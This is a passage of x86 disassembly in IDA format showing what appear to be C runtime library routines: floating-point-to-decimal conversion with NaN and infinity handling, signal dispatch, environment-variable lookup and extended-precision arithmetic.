var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F93A
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F93E
; ---------------------------------------------------------------------------


loc_41F93A:				; CODE XREF: sub_41F8D8+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F93E:				; CODE XREF: sub_41F8D8+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F964
		test	edi, edi
		jnz	short loc_41F964
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F964


loc_41F94F:				; CODE XREF: sub_41F8D8+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41FB62
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8D8+6Cj
					; sub_41F8D8+70j ...
		cmp	dx, si
		jnz	short loc_41F9E3
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F97D
		cmp	[ebp+arg_0], 0
		jz	short loc_41F98C


loc_41F97D:				; CODE XREF: sub_41F8D8+9Dj
		test	edi, 40000000h
		jnz	short loc_41F98C
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F9D2
; ---------------------------------------------------------------------------


loc_41F98C:				; CODE XREF: sub_41F8D8+A3j
					; sub_41F8D8+ABj
		test	cx, cx
		jz	short loc_41F9A6
		cmp	edi, 0C0000000h
		jnz	short loc_41F9A6
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F9CD
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F9B5
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8D8+B7j
					; sub_41F8D8+BFj
		cmp	edi, eax
		jnz	short loc_41F9CD
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F9CD
		push	offset a1Inf	; "1#INF"


loc_41F9B5:				; CODE XREF: sub_41F8D8+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415A20
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F9C4:				; CODE XREF: sub_41F8D8+109j
		and	[ebp+var_4], 0
		jmp	loc_41FB3B
; ---------------------------------------------------------------------------


loc_41F9CD:				; CODE XREF: sub_41F8D8+C5j
					; sub_41F8D8+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F9D2:				; CODE XREF: sub_41F8D8+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415A20
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F9C4
; ---------------------------------------------------------------------------


loc_41F9E3:				; CODE XREF: sub_41F8D8+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FFF0
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41FA44
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FDD0
		pop	ecx
		pop	ecx


loc_41FA44:				; CODE XREF: sub_41F8D8+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41FA5E
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41FA61
		jmp	loc_41F94F
; ---------------------------------------------------------------------------


loc_41FA5E:				; CODE XREF: sub_41F8D8+173j
		mov	edi, [ebp+arg_C]


loc_41FA61:				; CODE XREF: sub_41F8D8+17Fj
		cmp	edi, 15h
		jle	short loc_41FA69
		push	15h
		pop	edi


loc_41FA69:				; CODE XREF: sub_41F8D8+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41FA7F:				; CODE XREF: sub_41F8D8+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F2E5
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41FA7F
		test	esi, esi
		jge	short loc_41FAA9
		neg	esi
		and	esi, 0FFh
		jle	short loc_41FAA9


loc_41FA9C:				; CODE XREF: sub_41F8D8+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F313
		dec	esi
		pop	ecx
		jnz	short loc_41FA9C


loc_41FAA9:				; CODE XREF: sub_41F8D8+1B8j
					; sub_41F8D8+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41FB06
		mov	[ebp+arg_C], ecx


loc_41FAB9:				; CODE XREF: sub_41F8D8+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41F2E5
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F2E5
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F287
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F2E5
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41FAB9
		mov	eax, [ebp+arg_14]


loc_41FB06:				; CODE XREF: sub_41F8D8+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41FB43


loc_41FB13:				; CODE XREF: sub_41F8D8+248j
		cmp	eax, ecx
		jb	short loc_41FB26
		cmp	byte ptr [eax],	39h
		jnz	short loc_41FB22
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41FB13
; ---------------------------------------------------------------------------


loc_41FB22:				; CODE XREF: sub_41F8D8+242j
		cmp	eax, ecx
		jnb	short loc_41FB2A


loc_41FB26:				; CODE XREF: sub_41F8D8+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41FB2A:				; CODE XREF: sub_41F8D8+24Cj
		inc	byte ptr [eax]


loc_41FB2C:				; CODE XREF: sub_41F8D8+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41FB3B:				; CODE XREF: sub_41F8D8+F0j
		mov	eax, [ebp+var_4]


loc_41FB3E:				; CODE XREF: sub_41F8D8+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FB43:				; CODE XREF: sub_41F8D8+239j
					; sub_41F8D8+275j
		cmp	eax, ecx
		jb	short loc_41FB53
		cmp	byte ptr [eax],	30h
		jnz	short loc_41FB4F
		dec	eax
		jmp	short loc_41FB43
; ---------------------------------------------------------------------------


loc_41FB4F:				; CODE XREF: sub_41F8D8+272j
		cmp	eax, ecx
		jnb	short loc_41FB2C


loc_41FB53:				; CODE XREF: sub_41F8D8+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41FB62:				; CODE XREF: sub_41F8D8+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41FB3E
sub_41F8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB6B	proc near		; CODE XREF: sub_41B42C+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41FBD2
		dec	eax
		dec	eax
		jz	short loc_41FBC3
		sub	eax, 4
		jz	short loc_41FBC3
		sub	eax, 3
		jz	short loc_41FBC3
		sub	eax, 4
		jz	short loc_41FBB6
		sub	eax, 6
		jz	short loc_41FBA9
		dec	eax
		jz	short loc_41FB9C
		or	eax, 0FFFFFFFFh
		jmp	loc_41FC94
; ---------------------------------------------------------------------------


loc_41FB9C:				; CODE XREF: sub_41FB6B+27j
		mov	esi, dword_46BDE4
		mov	eax, offset dword_46BDE4
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBA9:				; CODE XREF: sub_41FB6B+24j
		mov	esi, dword_46BDE0
		mov	eax, offset dword_46BDE0
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBB6:				; CODE XREF: sub_41FB6B+1Fj
		mov	esi, dword_46BDE8
		mov	eax, offset dword_46BDE8
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBC3:				; CODE XREF: sub_41FB6B+10j
					; sub_41FB6B+15j ...
		push	edi
		call	sub_41FC98
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBD2:				; CODE XREF: sub_41FB6B+Cj
		mov	esi, dword_46BDDC
		mov	eax, offset dword_46BDDC


loc_41FBDD:				; CODE XREF: sub_41FB6B+3Cj
					; sub_41FB6B+49j ...
		cmp	esi, 1
		jnz	short loc_41FBE9
		xor	eax, eax
		jmp	loc_41FC94
; ---------------------------------------------------------------------------


loc_41FBE9:				; CODE XREF: sub_41FB6B+75j
		test	esi, esi
		jnz	short loc_41FBF4
		push	3
		call	sub_417858


loc_41FBF4:				; CODE XREF: sub_41FB6B+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41FC06
		cmp	edi, 0Bh
		jz	short loc_41FC06
		cmp	edi, 4
		jnz	short loc_41FC2C


loc_41FC06:				; CODE XREF: sub_41FB6B+8Fj
					; sub_41FB6B+94j
		mov	ebx, dword_46BBB8
		and	dword_46BBB8, 0
		cmp	edi, ecx
		jnz	short loc_41FC5B
		mov	edx, dword_43AA6C
		mov	dword_43AA6C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41FC2F
; ---------------------------------------------------------------------------


loc_41FC2C:				; CODE XREF: sub_41FB6B+99j
		mov	ebx, [ebp+arg_0]


loc_41FC2F:				; CODE XREF: sub_41FB6B+BFj
		cmp	edi, ecx
		jnz	short loc_41FC5B
		mov	eax, dword_43AA60
		mov	ecx, dword_43AA64
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41FC62
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43A9F0h[edx*4]


loc_41FC50:				; CODE XREF: sub_41FB6B+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41FC50
		jmp	short loc_41FC62
; ---------------------------------------------------------------------------


loc_41FC5B:				; CODE XREF: sub_41FB6B+AAj
					; sub_41FB6B+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41FC70


loc_41FC62:				; CODE XREF: sub_41FB6B+D7j
					; sub_41FB6B+EEj
		push	dword_43AA6C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41FC7E
; ---------------------------------------------------------------------------


loc_41FC70:				; CODE XREF: sub_41FB6B+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41FC7E
		cmp	edi, 4
		jnz	short loc_41FC91


loc_41FC7E:				; CODE XREF: sub_41FB6B+103j
					; sub_41FB6B+10Cj
		cmp	edi, 8
		mov	dword_46BBB8, ebx
		jnz	short loc_41FC91
		mov	eax, [ebp+arg_0]
		mov	dword_43AA6C, eax


loc_41FC91:				; CODE XREF: sub_41FB6B+111j
					; sub_41FB6B+11Cj
		xor	eax, eax
		pop	ebx


loc_41FC94:				; CODE XREF: sub_41FB6B+2Cj
					; sub_41FB6B+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41FB6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FC98	proc near		; CODE XREF: sub_41FB6B+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43AA68
		cmp	dword_43A9EC, edx
		push	esi
		mov	eax, offset dword_43A9E8
		jz	short loc_41FCC6
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43A9E8h[esi*4]


loc_41FCBA:				; CODE XREF: sub_41FC98+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41FCC6
		cmp	[eax+4], edx
		jnz	short loc_41FCBA


loc_41FCC6:				; CODE XREF: sub_41FC98+16j
					; sub_41FC98+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43A9E8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41FCDA
		cmp	[eax+4], edx
		jz	short locret_41FCDC


loc_41FCDA:				; CODE XREF: sub_41FC98+3Bj
		xor	eax, eax

locret_41FCDC:				; CODE XREF: sub_41FC98+40j
		retn
sub_41FC98	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCDD	proc near		; CODE XREF: sub_41EA02+23p

arg_0		= dword	ptr  4

		cmp	dword_46D170, 0
		push	ebx
		push	esi
		mov	esi, dword_46BB2C
		push	edi
		jz	short loc_41FD54
		test	esi, esi
		jnz	short loc_41FD0E
		cmp	dword_46BB34, esi
		jz	short loc_41FD54
		call	sub_4200AB
		test	eax, eax
		jnz	short loc_41FD54
		mov	esi, dword_46BB2C
		test	esi, esi
		jz	short loc_41FD54


loc_41FD0E:				; CODE XREF: sub_41FCDD+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41FD54
		push	ebx
		call	sub_415B10
		pop	ecx
		mov	edi, eax


loc_41FD1F:				; CODE XREF: sub_41FCDD+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FD54
		push	eax
		call	sub_415B10
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41FD47
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41FD47
		push	edi
		push	ebx
		push	eax
		call	sub_42006C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FD4C


loc_41FD47:				; CODE XREF: sub_41FCDD+51j
					; sub_41FCDD+59j
		add	esi, 4
		jmp	short loc_41FD1F
; ---------------------------------------------------------------------------


loc_41FD4C:				; CODE XREF: sub_41FCDD+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41FD56
; ---------------------------------------------------------------------------


loc_41FD54:				; CODE XREF: sub_41FCDD+10j
					; sub_41FCDD+1Cj ...
		xor	eax, eax


loc_41FD56:				; CODE XREF: sub_41FCDD+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FCDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD5A	proc near		; CODE XREF: sub_41F120+8Bp
					; sub_41F120+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46CF20
		jnb	short loc_41FDC1
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46CE20[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41FDC1
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41FD9A
		and	cl, 7Fh
		jmp	short loc_41FDA7
; ---------------------------------------------------------------------------


loc_41FD9A:				; CODE XREF: sub_41FD5A+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41FDB5
		or	cl, 80h


loc_41FDA7:				; CODE XREF: sub_41FD5A+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FDB5:				; CODE XREF: sub_41FD5A+48j
		mov	dword_46BB04, 16h
		jmp	short loc_41FDCB
; ---------------------------------------------------------------------------


loc_41FDC1:				; CODE XREF: sub_41FD5A+Bj
					; sub_41FD5A+27j
		mov	dword_46BB04, 9


loc_41FDCB:				; CODE XREF: sub_41FD5A+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41FD5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDD0	proc near		; CODE XREF: sub_41F8D8+165p
					; sub_41FFF0+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41FFD0
		cmp	cx, 7FFFh
		jnb	loc_41FFD0
		cmp	dx, 0BFFDh
		ja	loc_41FFD0
		cmp	dx, 3FBFh
		ja	short loc_41FE39
		xor	eax, eax
		jmp	short loc_41FE73
; ---------------------------------------------------------------------------


loc_41FE39:				; CODE XREF: sub_41FDD0+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41FE5B
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41FE5B
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41FE5D
		cmp	[esi], eax
		jnz	short loc_41FE5D
		jmp	loc_41FFCA
; ---------------------------------------------------------------------------


loc_41FE5B:				; CODE XREF: sub_41FDD0+71j
					; sub_41FDD0+79j
		xor	eax, eax


loc_41FE5D:				; CODE XREF: sub_41FDD0+80j
					; sub_41FDD0+84j
		cmp	cx, ax
		jnz	short loc_41FE80
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41FE80
		cmp	[ebx+4], eax
		jnz	short loc_41FE80
		cmp	[ebx], eax
		jnz	short loc_41FE80


loc_41FE73:				; CODE XREF: sub_41FDD0+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41FFEB
; ---------------------------------------------------------------------------


loc_41FE80:				; CODE XREF: sub_41FDD0+90j
					; sub_41FDD0+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41FE90:				; CODE XREF: sub_41FDD0+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41FEE4
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41FEAC:				; CODE XREF: sub_41FDD0+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FED7
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41FED7:				; CODE XREF: sub_41FDD0+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41FEAC


loc_41FEE4:				; CODE XREF: sub_41FDD0+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41FE90
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41FF27


loc_41FF02:				; CODE XREF: sub_41FDD0+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41FF20
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F2E5
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FF02


loc_41FF20:				; CODE XREF: sub_41FDD0+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FF60


loc_41FF27:				; CODE XREF: sub_41FDD0+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41FF60
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41FF40:				; CODE XREF: sub_41FDD0+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41FF49
		inc	[ebp+var_14]


loc_41FF49:				; CODE XREF: sub_41FDD0+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F313
		dec	ebx
		pop	ecx
		jnz	short loc_41FF40
		cmp	[ebp+var_14], 0
		jz	short loc_41FF60
		or	byte ptr [ebp+var_24], 1


loc_41FF60:				; CODE XREF: sub_41FDD0+155j
					; sub_41FDD0+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41FF77
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41FFAC


loc_41FF77:				; CODE XREF: sub_41FDD0+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41FFA9
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41FFA4
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41FF9E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41FFAC
; ---------------------------------------------------------------------------


loc_41FF9E:				; CODE XREF: sub_41FDD0+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41FFAC
; ---------------------------------------------------------------------------


loc_41FFA4:				; CODE XREF: sub_41FDD0+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41FFAC
; ---------------------------------------------------------------------------


loc_41FFA9:				; CODE XREF: sub_41FDD0+1ABj
		inc	[ebp+var_24+2]


loc_41FFAC:				; CODE XREF: sub_41FDD0+1A5j
					; sub_41FDD0+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41FFD0
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41FFCA:				; CODE XREF: sub_41FDD0+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41FFEB
; ---------------------------------------------------------------------------


loc_41FFD0:				; CODE XREF: sub_41FDD0+42j
					; sub_41FDD0+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41FFEB:				; CODE XREF: sub_41FDD0+ABj
					; sub_41FDD0+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FDD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFF0	proc near		; CODE XREF: sub_41F407+440p
					; sub_41F8D8+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43AEE0
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_420069
		jge	short loc_420018
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43B040
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_420018:				; CODE XREF: sub_41FFF0+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_420023
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_420023:				; CODE XREF: sub_41FFF0+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_420069
		push	esi
		push	edi


loc_42002A:				; CODE XREF: sub_41FFF0+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_420062
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_420055
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_420055:				; CODE XREF: sub_41FFF0+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41FDD0
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_420062:				; CODE XREF: sub_41FFF0+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_42002A
		pop	edi
		pop	esi


loc_420069:				; CODE XREF: sub_41FFF0+14j
					; sub_41FFF0+36j
		pop	ebx
		leave
		retn
sub_41FFF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42006C	proc near		; CODE XREF: sub_41FCDD+5Ep
					; sub_420548+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_420079
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420079:				; CODE XREF: sub_42006C+7j
		push	dword_46CF24
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_46D144
		call	sub_420119
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4200A6
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4200A6:				; CODE XREF: sub_42006C+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42006C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200AB	proc near		; CODE XREF: sub_41FCDD+1Ep
					; sub_4203C1+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_46BB34
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_42010C
		mov	ebx, dword_421138


loc_4200C4:				; CODE XREF: sub_4200AB+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_420114
		push	ebp
		call	sub_415BE9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_420114
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_420114
		push	edi
		push	[esp+18h+var_4]
		call	sub_4203C1
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4200C4


loc_42010C:				; CODE XREF: sub_4200AB+11j
		xor	eax, eax


loc_42010E:				; CODE XREF: sub_4200AB+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420114:				; CODE XREF: sub_4200AB+29j
					; sub_4200AB+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_42010E
sub_4200AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420119	proc near		; CODE XREF: sub_42006C+27p

